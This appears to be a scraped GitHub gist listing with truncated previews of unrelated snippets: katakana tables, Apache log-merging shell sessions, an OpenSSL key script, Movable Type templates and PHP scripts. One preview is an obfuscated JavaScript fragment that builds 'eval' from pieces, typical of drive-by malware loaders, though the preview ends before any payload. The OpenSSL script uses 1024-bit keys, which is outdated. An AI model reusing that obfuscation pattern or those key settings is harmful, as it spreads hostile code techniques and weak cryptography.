This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Katakana Codes | |
ァアィイゥウェエォオカガキギクグケゲコゴサザシジスズセゼソゾタダチヂッツヅテデトドナニヌネノハバパヒビピフブプヘベペホボポマミムメモャヤュユョヨラリルレロヮワヰヱヲンヴヵヶヷヸヹヺ・ | |
Punctuation and Symbols | |
゛゜ーヽヾ | |
Phonetic Extensions for Ainu | |
ㇰㇱㇲㇳㇴㇵㇶㇷㇸㇹㇺㇻㇼㇽㇾㇿ | |
Circle Forms |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Trying to do this within Coda 2 -> Preferences -> Editor -> Custom Syntax Modes worked on one computer but gave me an error on another. So for that computer, I did this: | |
Used https://github.com/zenangst/Coda-2-Modes: | |
cd ~/Library/Application\ Support/Coda\ 2 | |
mv Modes Modes.bak | |
git clone [email protected]:zenangst/Coda-2-Modes.git Modes | |
sed -i -e 's/<extension>xml<\/extension>/<extension>xml<\/extension><extension>mtml<\/extension>/' Modes/XML.mode/Contents/Resources/ModeSettings.xml |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@app:~# date; | |
Thu Oct 24 22:59:57 CDT 2013 | |
root@app:~# cd /var/log/apache2; mkdir combined_error_logs; | |
root@app:/var/log/apache2# rsync -a -e ssh root@www1:/var/log/apache2/error* combined_error_logs/www1;You have new mail in /var/mail/root | |
root@app:/var/log/apache2# rsync -a -e ssh root@www2:/var/log/apache2/error* combined_error_logs/www2;You have new mail in /var/mail/root | |
root@app:/var/log/apache2# date; | |
Thu Oct 24 23:02:03 CDT 2013 | |
root@app:/var/log/apache2# cd combined_error_logs/www1; gunzip *.gz; cd ../..; | |
root@app:/var/log/apache2# cd combined_error_logs/www2; gunzip *.gz; cd ../..; | |
root@app:/var/log/apache2# date; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@app:/var/tmp# /usr/bin/time -v cat www1/error.log www1/error.log.1 www2/error.log www2/error.log.1 | sed -r -n 's/^\[(\w)\w+ (\w+ \w+).+/\2 \1/p' | awk '{count[$1]++}END{for(j in count) print j" "count[j]}' FS=: | sort; | |
Command being timed: "cat www1/error.log www1/error.log.1 www2/error.log www2/error.log.1" | |
User time (seconds): 0.37 | |
System time (seconds): 19.54 | |
Percent of CPU this job got: 3% | |
Elapsed (wall clock) time (h:mm:ss or m:ss): 8:55.67 | |
Average shared text size (kbytes): 0 | |
Average unshared data size (kbytes): 0 | |
Average stack size (kbytes): 0 | |
Average total size (kbytes): 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
date; | |
cd /var/log/apache2; mkdir combined_error_logs; | |
rsync -a -e ssh root@www1:/var/log/apache2/error* combined_error_logs/www1; | |
rsync -a -e ssh root@www2:/var/log/apache2/error* combined_error_logs/www2; | |
date; | |
cd combined_error_logs/www1; gunzip *.gz; cd ../..; | |
cd combined_error_logs/www2; gunzip *.gz; cd ../..; | |
date; | |
cat combined_error_logs/*/* | sed -r -n 's/^\[(\w+) (\w+ \w+) ..:..:.. (\w+).+/\3 \2 \1/p' | awk '{count[$1]++}END{for(j in count) print j" "count[j]}' FS=: | sort > errors_by_date.$(date +%Y-%m-%d).txt; | |
rm -rf combined_error_logs; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Generating an SSL private key to sign your certificate..." | |
openssl genrsa -des3 -out myssl.key 1024 | |
echo "Generating a Certificate Signing Request..." | |
openssl req -new -key myssl.key -out myssl.csr | |
echo "Removing passphrase from key (for nginx)..." | |
cp myssl.key myssl.key.org | |
openssl rsa -in myssl.key.org -out myssl.key |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<mt:Ignore> | |
Want to do it like this, but it's outputting all months for every year... | |
http://www.movabletype.org/documentation/appendices/tags/archivelist.html | |
"Here, we're combining two ArchiveList tags (the inner ArchiveList tag is bound to the date range of the year in context)" | |
<mt:ArchiveList type="Yearly"> | |
<mt:ArchiveListHeader><ul></mt:ArchiveListHeader> | |
<li><a href="<$mt:ArchiveLink$>"><$mt:ArchiveDate format="%Y"$></a>: </li> | |
<mt:ArchiveList type="Monthly" sort_order="ascend"> | |
<mt:ArchiveListHeader><li></mt:ArchiveListHeader> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ff=String.fromCharCode; | |
zz=3; | |
try{ | |
document.body/=2 | |
}catch(gdsgd){ | |
v="va"+"l"; | |
if(document) | |
try{ | |
document.body=12; | |
}catch(gdsgsdg){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
USAGE: | |
To request a new token: ?newtoken=please | |
To ask if token is valid: ?token=xamBVbmRlKcSSVsrxt8WEqQ6NdpS7z | |
SETUP: | |
$tokensFilename must be writable by script, preferably in a location outside |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(E_ERROR | E_PARSE); | |
$dom = new DOMDocument; | |
$dom->loadHTMLFile('http://www.crowdrise.com/jobraising/'); | |
$node = $dom->getElementById('causes_module'); | |
$finder = new DomXPath($dom); | |
$classname="profile"; |